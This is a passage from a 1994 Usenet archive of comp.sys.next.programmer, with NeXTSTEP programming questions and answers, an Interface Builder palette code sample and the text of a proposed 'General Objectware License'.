degree work experience. >> > >Not asking for much, are you? ;-) Perhaps there is a "strong internal candidate," but funding requires "open" competition?
From: bali@leland.Stanford.EDU (Valentina Andrea Bali) Newsgroups: comp.sys.next.programmer Subject: Re: OPN Question: Standard Protocols Date: 1 Mar 1994 23:46:28 GMT Organization: Stanford University, CA 94305, USA Message-ID: <2l0k4k$e4p@nntp2.Stanford.EDU> References: <2klmkc$lao@nntp2.stanford.edu> <2knc12$1v1@steffi.demon.co.uk> >I ask you though, how many variations on SQL have there been? But SQL has proved to be *useful* and that should be the way to judge the open protocols. Of course Adamation's and, say, Sarrus' calendaring API's will differ, but if their calendar objects both conformed to @protocol(OPNCalendar), then application developers would feel greater confidence when relying on this ObjectWare, and interoperability down the road becomes a promise, maybe even a fact :-) How large would the relational database marketplace be without SQL? I will be receiving suggestions for the most useful protocols until March 11th, at which time I'll gather developer's thoughts and repost. Thanks. - marcos j. polanco - shiva@vega.stanford.edu
Newsgroups: comp.sys.next.programmer From: ian_stewart@nyro.com (Ian H. Stewart) Subject: what is a (const char*const *) & how? Message-ID: <CM0CpC.3Dz@nyro.com> Sender: ian@nyro.com (Ian H. Stewart) Organization: NYRO Technix, Inc. - 415 664-1170 Date: Tue, 1 Mar 1994 22:48:47 GMT What is a (const char*const *) and how do I make one out of these? char name[] = "David Button"; char number[] = "5551212" I am trying to use the faxPSCode:toList: ....faxName: method. Any help is appreciated. Ian
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.programmer,comp.sys.next.misc Subject: Re: NS 3.2/I and putenv() Date: 1 Mar 1994 21:26:39 -0000 Organization: me organized? That's a joke! Message-ID: <2l0buf$1jo@steffi.demon.co.uk> References: <2kvube$pgg@marble.britain.eu.net> Charlesa@learned.co.uk wrote in comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.programmer,comp.sys.next.misc > >Hi - > >I'm trying to run make on a makefile, and it keeps telling me the following: > >ld: Undefined symbols: >_putenv >*** Exit 1 >Stop. >*** Exit 1 >Stop. > > >How can I get NS3.2 for Intel to accept the putenv() call? Thought are very >appreciated. > >Charles >charlesa@learned.co.uk What a shame we didn't get to see what he was compiling. Well here we go again with another putenv flame ware. Mr EPS please step forward, wait for it wait for it :-) To the poster, if nobody sends you a putenv then get in touch. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: bruce@pdh.com (Bruce McKenzie) Newsgroups: comp.sys.next.programmer Subject: ET4000 TsengLabs 800x600 driver question... Date: 1 Mar 1994 18:52:48 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9403020048.AA22505@snowbird.pdh.com> What is the problem with this driver? The 800x600 mode is commented out, with a message: /* TsengLabsET4000_800x600x2x60hz mode doesn't quite work */ What is el problemo? Has anyone fixed it? Does anyone else care? Please? Please email any responses to this account, since I only get the news in digest form. --- Bruce McKenzie (bruce@pdh.com, NeXTMail OK) PDH Inc. 2635 N. First St. Ste 224, San Jose, CA 95134 voice: 408/428-9596, fax: 408/428-9599 Epicenter: Section 127, Row 22, Seats 13-14 "He's with the Office of Unforeseen Atomic Events." * Opinions expressed are those of my own twisted mind, not my employer's * ---
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: NS 3.2/I and putenv() Date: 2 Mar 1994 03:21:49 GMT Organization: San Francisco State University Message-ID: <2l10od$egm@nic-nac.CSU.net> References: <2kvube$pgg@marble.britain.eu.net> <2l0buf$1jo@steffi.demon.co.uk> [Inappropriate crossposting removed] In article <2l0buf$1jo@steffi.demon.co.uk>u robert@steffi.demon.co.uk (Robert Nicholson) writes: >What a shame we didn't get to see what he was compiling. True, because he's probably an "innocent victim" of someone else's slovenly coding practices. >Well here we go again with another putenv flame ware. Heh heh. No flame war, just a reminder that the vast majority of programmers using putenv() [or setenv()] shouldn't be. execve() and execle() are your friends. Use them. system() and popen() are not your friends. This is really basic stuff ... ask in comp.unix.questions if you're completely clueless. >Mr EPS please step forward, wait for it wait for it :-) I prefer to watch the lemmings march into oblivion, thank you. -=EPS=- -- I don't care how many abbreviations you have after your name-- if I see printf("\n"); in your code you don't get the job!
From: monty@intuitiveedge.com (Montgomery Zukowski) Newsgroups: comp.sys.next.programmer Subject: IB Mole palette nearing completion Date: 1 Mar 1994 22:47:24 -0500 Organization: The Ohio State University Sender: root@magnus.acs.ohio-state.edu Message-ID: <9403020304.AA00459@intuitiveedge.com> Check this out! Below is code which will publish InterfaceBuilder's NXApp variable and also a list of the currently opened documents. An example program is given also which changes the titles of all of the boxes in all of the documents to "Undercover". Now you will be able to do anything to any object in IB!!! Before I publish it I need two favors: 1. A cool icon: a mole in a tunnel, a double agent, be imaginative! 2. someone with ftp access who will promise to submit this to the archives I believe that through the IB protocols you will be able to work on only the currently selected objects or the active document if you wish. Finally, the ability to change multiple objects at once! The code below will work if you put it into a new "Palette" project. It really needs a cool icon, though. Please let me know of any routines you create for manipulating objects. Especially ones that position objects in a nice way. Have fun! Monty monty@IntuitiveEdge.com By the way, the following took me two hours to complete (with breaks for doing 4 batches of laundry). Obviously this code is in the public domain. @interface IBMole:IBPalette <IBDocumentControllers> { id tunnel; id docList; id pingServer; } -ibApp; -docList; @end @implementation IBMole -init { docList = [[List alloc] init]; tunnel = [NXConnection registerRoot:self withName:"IBMole"]; [tunnel runFromAppKit]; return self; } -ibApp { return NXApp; } -docList { id windowList; int z; [docList empty]; windowList = [NXApp windowList]; z = [windowList count]; while (z--) { id del; del = [[windowList objectAt:z] delegate]; if ([del respondsTo:@selector(document)]) { if ([docList indexOf:[del document]] == NX_NOT_IN_LIST) { [docList addObject:[del document]]; } } } return docList; } @end main() { id server; id docList; int count; server = [NXConnection connectToName:"IBMole"]; docList = [server docList]; count = [docList count]; while (count--) { int objCount; id objs=[[List alloc] init]; [[docList objectAt:count] getObjects:objs]; objCount = [objs count]; while (objCount--) { id obj; obj = [objs objectAt:objCount]; if (!strcmp("Box",[[obj class] name])) {//didn't want to link in NeXT_s just //to be able to do [obj isKindOf:[Box class]] [obj setTitle:"Undercover"]; [[docList objectAt:count] redrawObject:obj]; } } } exit(0); }
Newsgroups: comp.sys.next.programmer From: schaik@cnplss5.cnps.philips.nl (Willem van Schaik) Subject: Re: uudecode help needed! Message-ID: <1994Mar1.222459.28902@cnplss5.cnps.philips.nl> Keywords: uudecode uuencode Sender: news@cnplss5.cnps.philips.nl (USENET News System) Organization: Philips Communications & Processing Services, Eindhoven References: <CLy90M.JCM@well.sf.ca.us> Date: Tue, 1 Mar 1994 22:24:59 GMT ludwig@well.sf.ca.us (Michael Rutchik) writes: >Everything works great until step 4. The uudecode command creates >the properly named file in my current directory but then I get >a message that says "No end line." I've encoded and decoded files >that were on my system without any trouble. I also compared the trailer >of the uuencoded files that worked with the one I downloaded and they >are identical. Does anyone have any ideas about what I could try >to get this to work? I experienced two problems with NeXT's uudecode: - take care that you don't have any blank line within the file - uudecode gets confused when the records are ended with <CR><LF>, which sometimes happens when the encoding is done on an MSDOS machine. Succes, Willem -- W i l l e m v a n S c h a i k ------------------------------------------------------------------------------- Philips TASS schaik@cnplss5.cnps.philips.nl
Newsgroups: comp.sys.next.programmer From: gelato@netcom.com (Steve James) Subject: How to restart an app? Message-ID: <gelatoCM0y19.Ir2@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Wed, 2 Mar 1994 06:29:32 GMT Has anybody ever been successful in writing a 'restart' method for Application, or could somebody suggest an approach to doing so? Ideally, -[Applicaton restart] would go thru the normal appWillTerminate: process, and if everything succeeds in stopping would then somehow get the Workspace to relaunch the app (freeing the Application object and beginning again at the start of main() is not sufficient -- the current process must exit). I know how to write the code that asks Workspace to launch an app, but the method (-launchApplication:) always returns YES without relaunching the app. It problably thinks the app is still running and thus doesn't need to be run again. Is there any way to simulate WS's alt-double-click programmatically, i.e. run the app again, even if it's already running? Thanks for any info or suggestions...
From: ludwig@well.sf.ca.us (Michael Rutchik) Newsgroups: comp.sys.next.programmer Subject: uudecode help! lots of it! (SUMMARY) Date: 2 Mar 1994 09:18:29 GMT Organization: The Whole Earth 'Lectronic Link, Sausalito, CA Message-ID: <2l1ll5$p4m@nkosi.well.com> Keywords: uudecode kermit Many thanks to all who responded, most especially Paul Sanchez who was kind enough to steer me toward kermit. I am finally able to tap the rich resources of the NeXT.archives. I hope to be able to make some submissions of my own someday soon. For any of you stuck in the corporate world who may be fearful of encroaching Lotus Notes I suggest you check out the MindShareDemo at cs.orst.edu. Load it up and drag (and drop) someone from your IS department in front of your machine and let 'em go through the tutorial. Like so much of NextStep it's incredibly powerful and easy to use. In the meantime, kermit proved to much easier than I imagined. Thanks again, Michael
From: pmarc@zapotec.math.byu.edu (Paul Marshall Cardon II) Newsgroups: comp.sys.next.programmer Subject: Re: Is inheritance a good idea? Date: 1 Mar 1994 23:27:18 GMT Organization: Brigham Young University Distribution: world Message-ID: <2l0j0m$kte@hamblin.math.byu.edu> References: <2ktvd9$sg9@bones.et.byu.edu> In article <2ktvd9$sg9@bones.et.byu.edu> yackd@alaska.et.byu.edu (Don Yacktman) writes: > > In article <x>, Michael_Pizolato@afs.com (Michael Pizolato) writes: > > >An explosion of operators in strange places is a potential problem. > >[...]. Just like there's no reason not > >to have operator overloading, there's also no reason to define '*' > >for strings, but if you can justify doing so then there should be > >nothing stopping you. > > Oh, that's easy. Multiply two vectors together (cross product) > and you get a 2-d matrix, right? So the '*' operator on strings > should give you pretty ASCII line printer pictures, right? :-) > > Big :-), in fact... :-) :-) :-) Wait, you mean the guys who wrote Crossword.app did it the hard way? ;-) ;-) Paul M. Cardon NeXTSTEP and HP System Manager Math Dept. - Brigham Young University ----------------------------------------------- DOS - The Ultimate Blivet amuck, amuck, amuck, amuck
From: richi@next1.rz.fh-heilbronn.de (Richard Fraunberger) Newsgroups: comp.sys.next.programmer Subject: Can t start Interface Builder Date: 2 Mar 1994 13:48:34 GMT Organization: InterNetNews at News.BelWue.DE (Stuttgart, Germany) Message-ID: <2l25fi$qqd@news.belwue.de> When I try to start IB the following message appears: ****** Runtime error: NXReadOnlyString : does not recognize selector -replaceWith: ****** After pressing the OK-Button Interface Builder closes. I can t work with IB anymore. Whats wrong , what happened or how to fix this problem ??? Thanks a lot for any good idea ! Richard richi@next1.rz.fh-heilbronn.de
From: richi@next1.rz.fh-heilbronn.de (Richard Fraunberger) Newsgroups: comp.sys.next.programmer Subject: Problem when starting Interface Builder Date: 2 Mar 1994 13:49:40 GMT Organization: InterNetNews at News.BelWue.DE (Stuttgart, Germany) Message-ID: <2l25hk$qtj@news.belwue.de> When I try to start IB the following message appears: ****** Runtime error: NXReadOnlyString : does not recognize selector -replaceWith: ****** After pressing the OK-Button Interface Builder closes. I can t work with IB anymore. Whats wrong , what happened or how to fix this problem ??? Thanks a lot for any good idea ! Richard richi@next1.rz.fh-heilbronn.de
From: montgomery_zukowski@il.us.swissbank.com (Montgomery Zukowski) Newsgroups: comp.sys.next.programmer,comp.lang.objective-c Subject: Anybody using Sorcerer with Objective-C? Date: 2 Mar 1994 09:52:04 -0500 Organization: The Ohio State University Sender: root@magnus.acs.ohio-state.edu Message-ID: <9403021448.AA03050@nwk122_ocachi> Anybody? I just had the realization that I can redefine the _RIGHT and _DOWN macros to create the tree as I walk it. So if I have a tree of objects out there I can create an AST as I go along, creating and filling in the nodes as necessary. That leaves the interesting problem of mapping an object's attributes to tokens and right and down pointers. So if anybody wants to chat about that, drop me a line. Monty monty@its.com
From: pcu@umich.edu Newsgroups: comp.sys.next.programmer Subject: Re: Free-ing a nib and associated controller Date: 2 Mar 1994 15:47:25 GMT Organization: University of Michigan Distribution: world Message-ID: <2l2ced$49l@lastactionhero.rs.itd.umich.edu> References: <CLzFDL.3sJ@genoa.com> In article <CLzFDL.3sJ@genoa.com> alex@cs.umd.edu (Alex Blakemore) writes: > Dario Ringach writes > > -windowWillClose:sender > > { > > [sender setDelegate: nil]; > > return [self free]; // free controller object > free returns nil and according to the docs > > - windowWillClose:sender > > Invoked just before the user (or the performClose: method) closes the sender > Window. If this method returns nil, the Window isn't closed. Right, so rather return [super windowWillClose:sender]; than return [self free]; -- Peter Urka <pcu@umich.edu> Dept. of Chemistry, Univ. of Michigan Anything to me is sweeter, Than to see Shock-headed Peter. - H. Hoffmann
From: pcu@umich.edu Newsgroups: comp.sys.next.programmer Subject: Re: Free-ing a nib and associated controller Date: 2 Mar 1994 15:47:52 GMT Organization: University of Michigan Distribution: world Message-ID: <2l2cf8$49n@lastactionhero.rs.itd.umich.edu> References: <CLzFDL.3sJ@genoa.com> In article <CLzFDL.3sJ@genoa.com> alex@cs.umd.edu (Alex Blakemore) writes: > Dario Ringach writes > > -windowWillClose:sender > > [sender setDelegate: nil]; > > return [self free]; // free controller object > free returns nil and according to the docs > - windowWillClose:sender Right, so rather return [super windowWillClose:sender]; than return [self free]; -- Peter Urka <pcu@umich.edu> Dept. of Chemistry, Univ. of Michigan Anything to me is sweeter, Than to see Shock-headed Peter. - H. Hoffmann
From: pcu@umich.edu Newsgroups: comp.sys.next.programmer Subject: Re: Free-ing a nib and associated controller Date: 2 Mar 1994 15:48:04 GMT Organization: University of Michigan Distribution: world Message-ID: <2l2cfk$49p@lastactionhero.rs.itd.umich.edu> References: <CLzFDL.3sJ@genoa.com> In article <CLzFDL.3sJ@genoa.com> alex@cs.umd.edu (Alex Blakemore) writes: > Dario Ringach writes > > -windowWillClose:sender > > [sender setDelegate: nil]; > > return [self free]; // free controller object > free returns nil and according to the docs > - windowWillClose:sender Right, so rather return [super windowWillClose:sender]; than return [self free]; -- Peter Urka <pcu@umich.edu> Dept. of Chemistry, Univ. of Michigan Anything to me is sweeter, Than to see Shock-headed Peter. - H. Hoffmann
From: yackd@alaska.et.byu.edu (Don Yacktman) Newsgroups: comp.sys.next.programmer Subject: Re: Problem when starting Interface Builder Date: 2 Mar 94 09:49:21 Organization: Brigham Young University, Provo UT USA Distribution: world Message-ID: <2l2g2i$rnv@bones.et.byu.edu> References: <2l25hk$qtj@news.belwue.de> Originator: yackd@alaska.et.byu.edu In article <2l25hk$qtj@news.belwue.de>, richi@next1.rz.fh-heilbronn.de (Richard Fraunberger) writes: > >When I try to start IB the following message appears: > >****** >Runtime error: NXReadOnlyString : does not recognize selector >-replaceWith: >****** > >After pressing the OK-Button Interface Builder closes. I can t work with >IB anymore. >Whats wrong , what happened or how to fix this problem ??? > >Thanks a lot for any good idea ! > >Richard >richi@next1.rz.fh-heilbronn.de It's a bug in IB that can be tickled by certain palettes. For example, the MiscCoolButtons palette in the MiscKit. (We just discovered this.) Apparently, later versions of IB don't have trouble with this, but on 3.0[1 ? ] there is a problem. The workaround is to delete the IB default setup file (I forget the name, but you'll know it when you see it) from your .NeXT directory and make sure that your prefs are set to NOT have that palette loaded whenever you quit IB. Loading the palette at launch appears to tickle some crazy bug...I wish I knew why... I suspect that other palettes can cause the same problem, too. Hope that helps. -- Don_Yacktman@byu.edu Nepotism is a relative thing. don@darth.byu.edu (My NeXT at home. Send me NeXTMail. Pleeeease.)
From: cervai@ghost.sm.dsi.unimi.it (FUZZYMAN) Newsgroups: comp.sys.next.programmer Subject: Nextstep CLIPS Date: 2 Mar 1994 18:21:40 +0100 Organization: Computer Science Dep. - Milan University Message-ID: <2l2hv4$rfj@ghost.sm.dsi.unimi.it> Summary: searching for Nextstep version of CLIPS Keywords: Nextstep CLIPS Hi, I'm starting my thesis work and I would like to know if exist a Nextstep verion of Togai Infralogic CLIPS. Thanks in advance Giorgio Cervati e-mail:cervai@ghost.sm.dsi.unimi.it Lab tel ++39 2 55006 347
Newsgroups: comp.sys.next.programmer From: tom@basil.icce.rug.nl (Tom R.Hageman) Subject: Re: Subclass conforming to protocol // IB question Message-ID: <CM07x2.s5@basil.icce.rug.nl> Sender: tom@basil.icce.rug.nl (Tom R.Hageman) Organization: Lofty Waters References: <FXG.94Feb28174336@wolf.informatik.rwth-aachen.de> Date: Tue, 1 Mar 1994 21:05:25 GMT In article <FXG.94Feb28174336@wolf.informatik.rwth-aachen.de> fxg@wolf.informatik.rwth-aachen.de (Felix Gatzemeier) writes: > In article <CLHK6F.HA@belly.in-berlin.de> kiwi@belly.in-berlin.de (Axel Habermann) asks: > > Newsgroups: comp.sys.next.programmer > From: kiwi@belly.in-berlin.de (Axel Habermann) > Organization: - none - > Date: Sat, 19 Feb 1994 19:15:51 GMT > [munch] > Btw: If I declare an instance variable to conform to a protocol, > the InterfaceBuilder no longer recognizes this as an outlet. > This is NOT what I was expecting. Is this a bug? Is there a workaround > available? > A while ago, someone posted a solution involving predefinded macros. > It looks like IB knows about #if...#endif, but has no predefined > macros. (Does anyone *know* something about this?) So, if you write > interfaces like > > #if __STDC__ /* what I use --- suggestions? */ > Window *mainWindow; > /* .... other intelligent declarations .... */ > #else > id mainWindow; > /* .... other braindead void *'s .... */ > #endif > > IB will skip the #if part, not knowing about __STDC__, but NeXT's > preprocessor will expand __STDC__ to 1, so your code will see the > useful parts. It seems that IB just ignores _all_ #if ... #endif conditions. For example, the following parses to the outlet `window' even if the preprocessor symbol IB is undefined: @interface Test : Object { #ifdef IB id window; #else Window *window; #endif } -- __/__/__/__/ Tom Hageman (tom@basil.icce.rug.nl) [NeXTMail accepted] __/ __/_/ __/__/__/ "...to baldly go where no man has gone before." __/ _/_/ -- star trek TNG
Newsgroups: comp.graphics.visualization,comp.sys.next.programmer From: bcorrie@csr.UVic.CA (Brian Corrie) Subject: Re: A data shader for RENDERMAN? Message-ID: <bcorrie.762628733@csr> Sender: news@sol.UVic.CA Organization: University of Victoria References: <2kkqbl$i8m@cisun2000.unil.ch> Date: 2 Mar 94 17:18:53 GMT Hi Sean, Sean.Hill@iphysiol.unil.ch (Sean L. Hill) writes: >I'm interested in developing some software for visualization in 3D >using Renderman. Just a quick plug for a paper we had in the Visualization '93 proceedings. It discusses an extension to the Renderman shading language that we implemented to apply RenderMan like shaders to 3D volume data sets. The paper reference is: Brian Corrie and Paul Mackerras, ``Data Shaders'', Proccedings of Visualization '93, November 1993, San Jose, California. It may do something like what you want, but note that it is an extension of the RenderMan shading language so the technique can not be used with traditional RenderMan implementations. >Is it possible to write a shader that would take data from a data file >to use for each point on the surface of an object. I would like to be >able to reference a datafile from within the shader itself. Is this >possible? It would be extremely powerful if it could be done. I am not too sure exactly what you want to do here. Do you mean plain old texture mapping. That is, wrap a 2D texture onto the surface of a geometric primitive. Or do you mean some sort of 3D texture mapping that is defined in an external data file. You can certainly do 3D or solid textures using RenderMan shaders, but they are usually defined procedurally rather than as a 3D texture map file. If you have a 3D solid texture in a file, I am not sure how you could apply that to a geometric primitive. Our Data Shaders might be able to do it, but I would have to think about it a bit more. >How does mapping of textures get done? It must be something similar? In RenderMan, you can specify the name of a 2D texture map file name within the shader and use that to texture map a geometric primitive. Details on how it works can be found in the ``RenderMan Companion'' by Steve Upstill and probably in some of the NeXT documentation on the RenderMan implementation if you hav access to it. Hope this helps, Brian -- Brian Corrie (bcorrie@csr.uvic.ca) Under the most rigorously controlled conditions of pressure, temperature, volume, humidity and other variables, the organism will do as it damn well pleases. Sounds like some of the code I have written...... 8-)
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: Re: Pure virtual methods in Objective-C? Message-ID: <1994Mar2.173535.261@dart.de> Sender: aspohr@dart.de Organization: d'ART Software GmbH References: <2kr2s6$266@steffi.demon.co.uk> Date: Wed, 2 Mar 94 17:35:35 GMT In article <2kr2s6$266@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > pkron@corona.com wrote in comp.lang.objective-c,comp.sys.next.programmer > >From: robert@steffi.demon.co.uk (Robert Nicholson) > >> Languages like C++ and Eiffel allow the programmer to > >> statically enforce instantiation control of abstract > >> classes. ie. In Eiffel deferred and in C++ pure virtual > >> methods. > >> > >> I was wondering how people go about dealing with clients > >> instantiating objects they shouldn't be. > > > >In the gnu compiler, one approach is to define protocols rather than > >abstract objects. Since abstract objects are defining only a > >collection of signatures, protocols seem pretty much equivalent. A > >real class that has only some methods defined and not others would > >not be possible, but such a class seems less useful. > > Assuming no code reuse is desired. ie. you could still reuse code from > an abstract class rather than just the interface. > -- If you just need an interface do it like NeXT: @interface Object(NXNibNotification) - awakeFromNib; @end This interface has no implementation until you do it yourself. This is how delegation methods are declared. Atze -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@dART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
From: hsr@cs.Stanford.EDU (Scott Roy) Newsgroups: comp.sys.next.programmer,comp.object Subject: General Objectware License Date: 2 Mar 1994 23:10:42 GMT Organization: Stanford University: Computer Science Department Distribution: world Message-ID: <2l36di$7qm@Times.Stanford.EDU> I'm posting this to try and initiate discussion of software license agreements. I think the General Objectware License is a rather innovative (and possibly foolhardy) approach. Both the ASCII text below and an RTF version are available from cs.orst.edu, currently in /pub/next/submissions. --- Scott Roy Department of Computer Science Stanford University -------------------------------------------------------------------------- GENERAL OBJECTWARE LICENSE License v. 2.1, February 8th, 1994 (C) 1994 by H. Scott Roy 2573 Stowe Ct. Northbrook, IL 60062-8103 As with the GNU public license, everyone is permitted to copy and distribute verbatim copies of this license, but altering it is not allowed. Preamble -------- This license is designed to address shortcomings in the way that objectware is currently written and distributed. Current schemes require programmers to make purchasing decisions up front, without access to any source code, and before they've had a chance to work with the objectware to see whether it really does what they need. This license attempts to change that. It is designed around the premise that the proper time for a programmer to assess how much objectware is worth is after he's built an application with it. Only then can he decide whether the asking price is worth paying, because only then can he decide how much work it would require to implement equivalent functionality himself. The effect of this license, then, is to allow developers to freely try out and distribute objectware in its original source code form, with the caveat that people pay for what they use commercially. To protect the commercial rights of the original author, noncommercial use carries with it two obligations: 1. You must make your software freely available to anyone that wants it. 2. You must inform the original author of how you're using his objectware, so that he can make sure that people who might want it will know about it. Purchasing a commercial license lets you buy out of these obligations. It is up to individual authors to set the payment terms for the objectware they write. This license if much simpler than the GNU license because it doesn't attempt to do anything fancy. It simply mandates that programmers who write programs that are not freely available must compensate the individuals that contribute to the work. An author that make his software available according to this license expects you to build their applications around it, then decide that it's worth paying what he asks rather than coding everything from scratch. But the intent is that you should make that decision after you get your program working. As a software developer, you should be free to write your programs with access to all the objectware in the world. Then, when your application is finished--when you know exactly the functionality you need--you can decide what to pay for and what to write yourself. Terminology ----------- This license agreement is referred to as the "Agreement" throughout. This Agreement applies to any software library which contains a notice placed by the copyright holder or other authorized party saying it may be distributed under the terms of the General Objectware License. The licensee is addressed as "You" in the text that follows. The original objectware covered by this Agreement is referred to as the "Objectware". The author of the objectware is referred to as the "Original Author". The term "Derived Objectware" means library code that includes parts of the original Objectware and that is intended to be linked into other programs. The term "Derived Application" refers to everything else: programs that use the original Objectware but that aren't intended to be linked into other programs. The term "Derived Work" covers both these uses. Free Distribution ----------------- You may freely distribute this Objectware in its original form, in whole or in part, provided only that none of the files are modified, and that this license Agreement and associated payment terms are included in their original, unaltered form. Derived Objectware ------------------ You may freely distribute Derived Objectware, either in source or object form, under the following conditions: 1. If you change any files, you include the original files and clearly indicate the modifications or extensions you have made. 2. You include unaltered copies of this license Agreement and associated payment terms. 3. You make clear that using your Derived Objectware constitutes use of the original Objectware itself. Accordingly, any such use is bound by the appropriate commercial and noncommercial clauses of this Agreement, as well as any associated terms of payment. You are free to offer your own code under any license and payment terms you wish, but your license must clearly state that it covers only your extensions and modifications, and does not apply to the original Objectware itself, which continues to be covered by this Agreement. Noncommercial License --------------------- You may use this Objectware free of charge for any purpose whatsoever, provided only that anything you produce with it is freely available to anyone that wants it, and that you inform the Original Author of everything you produce. You needn't make your source code available, but you must indicate the portions of your Derived Work that use the original Objectware, and you must describe how that Objectware can be obtained. You may not sell Derived Applications that use this objectware without purchasing a commercial license, nor can you grant others the right to sell your Derived Work without purchasing a commercial license. You are entitled to a reasonable evaluation and development stage prior to disclosing your work. In particular, You needn't inform the Original Author or make your software available until it becomes minimally usable, typically at the start of its alpha test period. The Original Author has the right to advertise and make available any Derived Works you create to whatever extent he sees fit, but he cannot sell them without your explicit permission. You can still promote your own software yourself however you wish. In making your software freely available, you may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. Commercial License ------------------ If you find the terms of the noncommercial license unacceptable, you can purchase a commercial license under payment terms specified by the Original Author. A commercial license absolves you of all the obligations attached to the noncommercial license, although the Original Author is entitled to include additional terms at his discretion. If the Original Author has not included any payment terms, then no commercial license is available and you must abide by the noncommercial license. Unless the Original Author explicitly states to the contrary, a commercial license entitles you to use the Objectware in any number of Derived Applications. You may not transfer a commercial license without the express written permission of the Original Author. You may purchase a commercial license at any time, but derived works that have already been made available under the noncommercial license continue to be covered by that license and must remain available. Severability ------------ If any provision of this Agreement is held invalid or unenforceable for any reason, such invalidity shall not affect the validity of the remaining provisions this Agreement, and the parties will substitute for the invalid provision a valid one which most closely approximates the intent and economic effect of the invalid provision. Entire Agreement ---------------- This Agreement shall constitute the entire agreement between the parties with respect to the subject matter hereof, and supersedes any prior agreements or understandings between the parties, whether written or oral, with respect hereto. No modification to this Agreement shall be of any force or effect unless made in writing and signed by each party. Governing Law ------------- This License shall be construed in accordance with and governed by the laws of the State of Illinois, United States of America, excluding its choice of law rules. No Warranty ----------- THERE IS NO WARRANTY FOR THIS OBJECTWARE, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY ``AS IS'' WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. End of License Terms and Conditions -----------------------------------
From: sang@tss.com (Sang Le) Newsgroups: comp.sys.mac.programmer,comp.sys.next.programmer,comp.sys.sun.misc,comp.databases,comp.databases.sybase,comp.databases.oracle,comp.databases.object,comp.sys.mac.databases,comp.unix.programmer Subject: Re: ***POSITION AVAILABLE:SYSTEMS PROGRAMMER/DATABASE DESIGNER*** Message-ID: <CM2G8K.HJ@tss.com> Date: 3 Mar 94 02:00:20 GMT References: <2kt8ab$51g@spool.mu.edu> <gregor.1112859278I@ra.nrl.navy.mil> <2kutgg$ag0@hebron.connected.com> Sender: news@tss.com (USENET Network News) Organization: Teknekron Software Systems, Inc. Reading the requirements, I am just glad that the candicate won't be required to be the subject for testing out new drills.
From: ludwig@well.sf.ca.us (Michael Rutchik) Newsgroups: comp.sys.next.programmer Subject: Re: uudecode help! lots of it! (SUMMARY) Date: 3 Mar 1994 02:27:44 GMT Organization: The Whole Earth 'Lectronic Link, Sausalito, CA Message-ID: <2l3hv0$qe1@nkosi.well.com> References: <2l1ll5$p4m@nkosi.well.com> Keywords: uudecode kermit ludwig@well.sf.ca.us (Michael Rutchik) writes: >Many thanks to all who responded, most especially Paul Sanchez >who was kind enough to steer me toward kermit. >I am finally able to tap the rich resources of the NeXT.archives. >I hope to be able to make some submissions of my own someday soon. >For any of you stuck in the corporate world who may be fearful >of encroaching Lotus Notes I suggest you check out the MindShareDemo >at cs.orst.edu. Load it up and drag (and drop) someone from your >IS department in front of your machine and let 'em go through >the tutorial. Like so much of NextStep it's incredibly powerful >and easy to use. >In the meantime, kermit proved to much easier than I imagined. >Thanks again, >Michael Sorry I didn't make much of a summary. After dozens of helpful hints I was still experiencing problems downloading. This was when Paul sent me a copy of kermit which I had to download onto my powerbook. After an hour or so of noodling around I figured out how to use it and am now a happy miner in the ftp archives.
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: what is a (const char*const *) & how? Message-ID: <CM2JC0.1IB@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <CM0CpC.3Dz@nyro.com> Date: Thu, 3 Mar 1994 03:07:11 GMT Ian H. Stewart writes > What is a (const char*const *) and how do I make one out of these? > > char name[] = "David Button"; > char number[] = "5551212" <sarcasm> aren't pointers fun? A (const char * const *) is a pointer to an array of character pointers where both the contents of what the pointer to the array references and the contents of what the pointers contained in the array references are not intended to be modified. That is, const char * const *output; output = malloc(sizeof(const char *) * 2 /* number of strings */); output[0] = name; output[1] = number; The compiler might yell about assigning values to variables marked as (const ...)-- it would probably be easier to cast output as a (char *), manipulate all of the pointers and memory stuff as (char *), and then cast output to (const char * const *). (Const char *const *) implies that NXFaxPanel wants a set of strings that aren't going to modify without the 